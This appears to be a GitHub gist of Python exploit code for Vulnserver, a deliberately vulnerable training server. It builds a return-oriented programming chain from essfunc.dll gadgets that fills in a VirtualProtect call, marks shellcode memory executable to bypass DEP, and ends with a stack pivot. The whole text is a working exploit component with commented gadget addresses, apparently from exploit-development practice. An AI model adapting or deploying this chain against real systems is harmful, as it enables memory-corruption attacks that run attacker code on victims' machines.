Created
September 22, 2023 16:16
-
-
Save m-q-t/4eb78075e708dc0ec51f93a96964ee9b to your computer and use it in GitHub Desktop.
vulnserver-portable-rop-chain-virtualprotect
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rop = b'' | |
# 0. preserve location of VirtualProtect skeleton in ECX | |
rop += struct.pack('<L', 0x625021ff) # nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret | |
rop += struct.pack('<L', 0x41414141) # junk for ebx | |
rop += struct.pack('<L', 0x41414141) # junk for esi | |
# 1. override pointers with gadgets | |
# override 0x625070DC to hold address of pop r32 ; ret gadget | |
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret | |
rop += struct.pack('<L', 0x625070DC) # ebx will be 0x625070DC | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0x625012f7) # pop ebp; ret | |
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC] | |
# override 0x62507124 to hold address of pop r32 ; pop ebx ; ret gadget | |
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret | |
rop += struct.pack('<L', 0x62507124) # ebx will be 0x62507124 | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0x625014e1) # address of pop ebx ; pop ebx ; ret | |
# EAX now holds address of pop ebx ; pop ebx ; ret | |
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC] | |
# override 0x62507104 to hold address of pop r32 ; ret gadget | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0x625012f7) # pop r32; ret | |
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret | |
rop += struct.pack('<L', 0x62507104) # ebx will be 0x62507104 | |
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC] | |
# override 0x625070E8 to hold address of leave ; ret gadget | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0x62501573) # leave ; ret (will be important for stack pivot at end) | |
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret | |
rop += struct.pack('<L', 0x625070E8) # ebx will be 0x625070E8 | |
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC] | |
# 2. retrieve VirtualProtect VMA and move into ESI | |
# 62507120 VirtualProtect KERNEL32 | |
rop += struct.pack('<L', 0x625012f7) # pop ebp ret | |
rop += struct.pack('<L', 0x625012f6) # pop edi ; pop ebp ; ret | |
rop += struct.pack('<L', 0x6250103d) # pop ebx ; ret | |
rop += struct.pack('<L', 0x62507120) # VirtualProtect IAT | |
rop += struct.pack('<L', 0x62501e30) # mov eax, [ebx] ; mov [esp+0x00], eax ; call ebp | |
rop += struct.pack('<L', 0x42424242) # junk to be overwritten by [esp + 0x00] | |
# preserve VirtualProtect VMA in ESI | |
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret | |
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret | |
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi | |
# * ESI now holds VirtualProtect VMA | |
# 3. get EBX to point to start of VirtualProtect skeleton | |
rop += struct.pack('<L', 0x6250219d) # mov eax, ecx ; ret | |
rop += struct.pack('<L', 0x62501a9d) # mov [esp+0x00], eax ; call [0x62507124] | |
rop += struct.pack('<L', 0x41414141) # junk will be overwritten by [esp + 0x00] | |
# 4. overwrite first placeholder with VirtualProtect VMA | |
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret | |
rop += struct.pack('<L', 0x41414141) # junk for esi | |
rop += struct.pack('<L', 0x41414141) # junk for edi | |
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC] | |
# ! first placeholder overwritten with VirtualProtect VMA | |
# 5. overwrite the second and third placeholders with the address of the shellcode | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0xffffff40) # 0 - 0xC0 * shellcode is 0xC0 bytes away from EBX at the current point | |
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret | |
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret | |
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret | |
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi | |
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret | |
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret | |
rop += struct.pack('<L', 0x41414141) # junk for esi | |
rop += struct.pack('<L', 0x41414141) # junk for edi | |
rop += struct.pack('<L', 0x62501eaf) # mov [ebx+0x04], eax ; call [0x625070DC] | |
# ! second placeholder overwritten with ret address | |
rop += struct.pack('<L', 0x62501ecd) # mov [ebx+0x08], eax ; call [0x62507104] ; (1 found) | |
# ! third placeholder overwritten with lpaddress (same as ret address) | |
# 6. adjust EBX to point to the fourth placeholder in the skeleton | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0xfffffff4) # 0 - 0x0c | |
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret | |
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret | |
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret | |
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi | |
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret | |
# ESI now points to fourth placeholder in the skeleton | |
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret | |
rop += struct.pack('<L', 0x41414141) # junk for esi | |
rop += struct.pack('<L', 0x41414141) # junk for edi | |
# EAX now points to fourth placeholder in the skeleton | |
rop += struct.pack('<L', 0x62501a9d) # mov [esp+0x00], eax ; call [0x62507124] | |
rop += struct.pack('<L', 0x41414141) # junk will be overwritten by [esp + 0x00] | |
# EBX now points to fourth placeholder in the skeleton | |
# 7. overwrite fourth placeholder with dwsize (0x01) | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0xFFFFFFFF) # junk | |
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret | |
rop += struct.pack('<L', 0x62501ea9) # mov [ebx], eax ; mov eax, [esp+0x24] ; mov [ebx+0x04], eax ; call [0x625070DC] | |
#! fourth placeholder overwritten with dwsize (0x01) | |
# 8. overwrite fifth placeholder with flNewProtect (0x40) | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0xffffffc0) # 0 - 0x40 | |
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret | |
rop += struct.pack('<L', 0x62501eaf) # mov [ebx+0x04], eax ; call [0x625070DC] | |
# ! fifth placeholder overwritten with flNewProtect (0x40) | |
# 9. overwrite sixth placeholder with lpflOldProtect (needs to be a pointer to a valid address | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0x625070E4) # known valid pointer as a call is made to it in a gadget found in essfunc.dll | |
rop += struct.pack('<L', 0x62501ecd) # mov [ebx+0x08], eax ; call [0x62507104] ; (1 found) | |
# 10. adjust skeleton to point to the first placeholder - 0x04 (to account for the 0x04 bytes that will be popped off during the leave instruction) | |
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret | |
rop += struct.pack('<L', 0xfffffff0) # 0 - 0x10 | |
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret | |
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret | |
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi | |
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret | |
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret | |
rop += struct.pack('<L', 0x41414141) # junk for esi | |
rop += struct.pack('<L', 0x41414141) # junk for edi | |
# ! EAX now points to start of skeleton - 0x04 | |
# 11. stack pivot | |
rop += struct.pack('<L', 0x625017c0) # mov ebp, eax ; call [0x625070E8] ; (1 found) | |
# 0x625070E8 points to leave ; ret gadget | |
return rop |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment